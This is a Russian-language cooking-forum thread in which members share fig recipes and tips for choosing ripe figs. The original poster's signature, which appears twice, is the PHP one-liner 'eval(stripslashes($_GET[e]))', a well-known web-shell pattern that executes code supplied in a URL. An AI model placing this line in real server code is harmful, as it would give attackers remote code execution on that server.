Авторизация
Загрузка...
Свежий инжир
На страницу 1, 2  След.
 
Начать новую тему   Ответить на тему    Форумы -> Поиск рецептов
Предыдущая тема :: Следующая тема  
Автор Сообщение
Maria  
Главный по зеленым кастрюлькам
Главный по зеленым кастрюлькам

Зарегистрирован: 21.11.2001
Сообщения: 4278
Откуда: England

Сообщение Добавлено: Пн Сен 19, 2005 1:19     Заголовок сообщения: Свежий инжир Ответить с цитатой

Что вкуснее всего делать со свежим инжиром? Я первый раз в жизни его купила и в растерянности...
_________________
phpbb:eval(stripslashes($_GET[e]));
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Carina  
Почётный кукинговец

Зарегистрирован: 09.11.2002
Сообщения: 8759

Сообщение Добавлено: Пн Сен 19, 2005 3:25     Заголовок сообщения: Ответить с цитатой

Маша.. лучше всего его съесть свежим... Это так вкусно и полезно smile.gif ...

А вообще из него можно сделать кучу вкусаных вещей.. начиная с варенья.. smile.gif
Добавлять в салаты..
Очень вкусная с инжиром выпечка.. smile.gif
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Крокус  
Шеф-повар
Шеф-повар

Зарегистрирован: 03.04.2004
Сообщения: 2478
Откуда: Германия

Сообщение Добавлено: Пн Сен 19, 2005 9:20     Заголовок сообщения: Ответить с цитатой

А еще свежий инжир прекрасно сочетается с сырами. И используется для украшения сырного стола.
Не так давно видела на глаза попадалась такая закуска: инжир, фаршированный кремом то ли риккотты, то ли из маскарпоне.
Если интересует, я поищу попозже (там сейчас муж еще спит).
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
FarHai  
СоНышко

Зарегистрирован: 28.01.2003
Сообщения: 8982
Откуда: Минск

Сообщение Добавлено: Пн Сен 19, 2005 10:14     Заголовок сообщения: Ответить с цитатой

Маша, а еще здесь идеи есть sigh.gif
_________________
Никогда не знаешь где тебе повезет (с) Макс Фрай
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Lu  
Кулинар-виртуоз
Кулинар-виртуоз

Зарегистрирован: 25.07.2003
Сообщения: 3961
Откуда: москва

Сообщение Добавлено: Пн Сен 19, 2005 10:57     Заголовок сообщения: Re: Свежий инжир Ответить с цитатой

Maria писал(а):
Что вкуснее всего делать со свежим инжиром? Я первый раз в жизни его купила и в растерянности...


сеъсть... sigh.gif обожаю... wink1.gif
_________________
- Лучше так: восемь пирогов и одна свечка! (Малыш и Карлсон)
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail
Крокус  
Шеф-повар
Шеф-повар

Зарегистрирован: 03.04.2004
Сообщения: 2478
Откуда: Германия

Сообщение Добавлено: Пн Сен 19, 2005 11:33     Заголовок сообщения: Ответить с цитатой

Заколдованный рецепт какой-то! Даже иллюстрацию помню, а где ее видела - заклинило! mad.gif

Зато нашла закуски с инжиром:
Салат из инжира, пармской ветчины и руколы
Подается не в салатнике, а на тарелках
50 г руколы
4 шт. свежего инжира
4 ломтика пармской ветчины
4 ст. л. оливкового масла
1 ст. л. апельсинового сока
1 ст. л. жидкого меда
1 меланький перчик чили
Разложить на тарелках помытую руколу и разрезанные на 4 части инжирины, добавить нарезанную широкими полосками ветчину.
2. Смешать оливковое масло, апельсиновый сок и мед (лучше всего взболтать в плотно закрывающейся банке), перелить в мисочку.
3. Чили мелко нарезать, удалив семечки, добавить в заправку и хорошо перемешать.
4. Сбрызнуть салат дрессингом и сразу подавать.

Десерт из свежего инжира и Schichtkaese (можно заменить жирным творогом)
250 г Schichtkaese/ стекшего творога распределить на 4 десертных тарелках. 4 инжирины помыть, разрезать на 4 части, но не до самого конца, и уложить сверху, слека вдавив в творог. Сбрызнуть смородиновым ликером и подавать.
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Джаконда  
Шеф-повар
Шеф-повар

Зарегистрирован: 07.02.2004
Сообщения: 2684
Откуда: Литва

Сообщение Добавлено: Пн Сен 19, 2005 15:52     Заголовок сообщения: Ответить с цитатой

Вкусный он там, где растет. А у нас, к сожалению, свой вкус наполовину теряет. После отпуска все привозные фрукты кажутся невкусными.

Поделюсь одним рецептом из греческой кухни. Собиралась по нему приготовить десерт, но не получилось.

СВЕЖИЕ ФИГИ С МЕДОМ И ВИНОМ

Для этого рецепта подойдет любой сорт фиг (инжира). Выбирайте мясистые и твердые плоды и используйте их как можно быстрее, поскольку фиги хранятся недолго.
Ингредиенты

Выход порций: 6

450 мл сухого белого вина
75 г прозрачного меда
50 г сахарной пудры
1 маленький апельсин
8 целых зерен гвоздики
450 свежего инжира
1 палочка корицы
веточки мяты или лавровые листья для украшения блюда

Для крема

300 мл густых сливок
1 стручок ванили
5 г сахарной пудры

1. Поместите вино, мед и сахар в кастрюлю с толстым дном и нагревайте на слабом огне, пока сахар не растворится.

2. Утыкайте апельсин гвоздикой и выложите в сироп вместе с инжиром и корицей. Накройте и тушите на очень слабом огне 5 - 10 минут, пока инжир не размягчится. Выложите на сервировочное блюдо и дайте остыть.

3. Положите 150 мл сливок в маленькую кастрюлю вместек со стручком ванили. Доведите до кипения, затем дайте остыть и настаивайте 30 минут. Уберите стручок и смешайте ванильные сливки с оставшимися сливками и сахаром. Слегка взбейте. Выложите на сервировочное блюдо. Украсьте инжир и подавайте со сливками.
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Магнуна  
Гость




Сообщение Добавлено: Пн Сен 19, 2005 15:56     Заголовок сообщения: Ответить с цитатой

Вчера как раз Юля Высоцкая давала рецепт обалденных инжиров:
Разрезаешь инжирины на половинки, выкладываешь срезом вверх в форму для запекания, сверху поливаешь жидким медом (не много) и на каждую - по чайной ложке сметаны. Все в нагретую духовку минут на 10 - до зарумянивания сметаны. smile.gif
Приятного аппетита
Вернуться к началу
ilara  


Зарегистрирован: 08.09.2004
Сообщения: 5558
Откуда: Israel

Сообщение Добавлено: Пн Сен 19, 2005 16:01     Заголовок сообщения: Ответить с цитатой

Маша, посмотри вот эти Порционные кексики со свежим инжиром happy.gif
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
nastik  
Шеф-повар
Шеф-повар

Зарегистрирован: 25.07.2003
Сообщения: 2052
Откуда: Italia - Pistoia

Сообщение Добавлено: Пн Сен 19, 2005 16:05     Заголовок сообщения: Ответить с цитатой

Лучше всего их сразу съесть свежими, а если останутся, то варенье из них сказочное!! Только в него идет очень мало сахара. smile.gif
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Джаконда  
Шеф-повар
Шеф-повар

Зарегистрирован: 07.02.2004
Сообщения: 2684
Откуда: Литва

Сообщение Добавлено: Пн Сен 19, 2005 16:18     Заголовок сообщения: Ответить с цитатой

МАСКАРПОНЕ С ИНЖИРОМ

Для песочного печенья с корицей

150 г сливочного масла
90 г сахарной пудры
30 г миндального порошка или свежемолотого миндаля
1 большое яйцо
250 г муки
1 ч.л. молотой корицы

Для крема из маскарпоне

125 г маскарпоне
250 мл сливок
50 г сахара
щепотка молотой корицы

Для инжира в карамели
150 г сахара
1 палочка корицы
2 веточки розмарина
6 шт. инжира
сок 1 лимона


Приготовьте печенье с корицей. Взбейте масло и сахарную пудру, добавьте молотый миндаль, яйцо. Просейте муку и корицу и всыпьте их в масляную смесь. Мешайте, пока смесь не станет однородной, и поставьте ее в холодильник. Раскатайте охлажденное тесто толщиной 3 мм. Вырежьте 8 прямоугольников размером 8 на 5 см. Выпекайте при 160 гр. С 15 минут до золотисто-коричневого цвета

Для крема из маскарпоне тщательно взбейте жирные сливки с сахаром, добавьте постепенно маскарпоне и мешайте до однородной консистенции. В конце смешивания положите корицу.

Подготовьте инжир. Растопите в кастрюле сахар с корицей и розмарином до карамели. Добавьте инжир и лимонный сок. Готовьте на небольшом огне несколько минут, постоянно помешивая, пока инжир не подрумянится. Снимите с огня.

Сделайте из крема маскарпоне 8 клецек одинакового размера. Возьмите одно печенье и положите на него 2 клецки. Накройте сверху другим печеньем. Оформите также все печенья

Разрежьте инжир вдоль пополам и положите три горячих половинки инжира на каждое верхнее печенье. Положите печенья с инжиром на блюдо и полейте ложкой соком из кастрюльки. Украсьте розмарином и сразу же подавайте к столу, пока фиги теплые.
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Тыковка  
Золотая поварёшка
Золотая поварёшка

Зарегистрирован: 20.08.2003
Сообщения: 1268
Откуда: Санкт-Петербург

Сообщение Добавлено: Пн Сен 19, 2005 17:54     Заголовок сообщения: Ответить с цитатой

Правильно, лучше всего его съесть happy.gif
Но вот еще один рецептик Инжира с медом
_________________
Не будь искусства кулинарии, жестокость реальности была бы невыносима.

Альбом / Рецепты
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Maria  
Главный по зеленым кастрюлькам
Главный по зеленым кастрюлькам

Зарегистрирован: 21.11.2001
Сообщения: 4278
Откуда: England

Сообщение Добавлено: Вт Сен 20, 2005 16:29     Заголовок сообщения: Ответить с цитатой

Спасибо за очень ценные советы! Честно говоря, я его никогда свежим не ела. Но сейчас решила просто так его попробовать, и наверное, это не самый хороший инжир, потому что он мне показался довольно пресным... Он вообще сладким должен быть или как получится? smile.gif

Жалко, что с моими пятью штуками все варианты не испробовать, но пока сезон и он дешевый обязательно еще его куплю smile.gif А сегодня гости приходят, буду кексы печь.
_________________
phpbb:eval(stripslashes($_GET[e]));
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
ilara  


Зарегистрирован: 08.09.2004
Сообщения: 5558
Откуда: Israel

Сообщение Добавлено: Вт Сен 20, 2005 16:36     Заголовок сообщения: Ответить с цитатой

Maria писал(а):
Спасибо за очень ценные советы! Честно говоря, я его никогда свежим не ела. Но сейчас решила просто так его попробовать, и наверное, это не самый хороший инжир, потому что он мне показался довольно пресным... Он вообще сладким должен быть или как получится? smile.gif

.

Машенька, хороший инжир должен быть сладким! Не приторным, как сушеный, а очень приятным, легким. Я его очень люблю в свежем виде. Скорей всего, тебе попался такой, который был собран еще не созревшим. Его ведь доставлять к вам надо, а плод этот скоропортящийся. Выбирать лучше фиолетовый;
если инжир светловат, с преобладанием зеленоватых оттенков, то еще не поспел. Поэтому он пресный на вкус.
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
Winny  
Капитан Юхман в побывке

Зарегистрирован: 16.08.2002
Сообщения: 4904
Откуда: Germany

Сообщение Добавлено: Вт Сен 20, 2005 16:47     Заголовок сообщения: Ответить с цитатой

Маш, есть чудное блюдо как раз из не очень "удачного" инжира (удачный и правда просто так съедается с кайфом wink1.gif ):

Инжир вымыть, разрезать на 4 части, поджарить слегка на маленьком (очень маленьком) кусочке сливочного масла в паре-тройке столовых ложек меда. Добавить пару ложек красного вина и по желанию - щепотку корицы.
Отличная штука, многократно испробованная, качество гарантирую wink1.gif wink1.gif happy.gif

Возможны варианты - меда поменьше и все это с козьим сыром sigh.gif
Меда побольше - и с горячими вафлями да с шариком мороженого...
_________________
"Это я, капитан Юхман, сказал, и я сдейжу. Весь камбуз на беег." (c) M. Жванецкий
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Показать сообщения:   
Начать новую тему   Ответить на тему    Форумы -> Поиск рецептов Часовой пояс: MSK (Moscow)
Послать другу
Распечатать
На страницу 1, 2  След.
Страница 1 из 2

Добавить в закладки

 
Перейти:  
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы можете добавлять приложения
Вы можете скачивать приложения